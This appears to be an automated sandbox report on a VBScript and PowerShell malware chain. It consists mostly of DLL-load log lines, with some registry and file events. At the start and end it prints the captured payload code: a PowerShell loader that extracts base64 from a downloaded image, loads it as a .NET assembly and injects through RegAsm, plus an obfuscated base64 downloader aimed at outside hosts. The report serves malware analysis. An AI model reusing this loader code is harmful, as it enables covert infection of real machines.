$endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.drmmpgk/niam/sdaeh/sfer/bpayks/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Network");IWshNetwork2.ComputerName();IWshShell3.Run("powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#", "0")

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ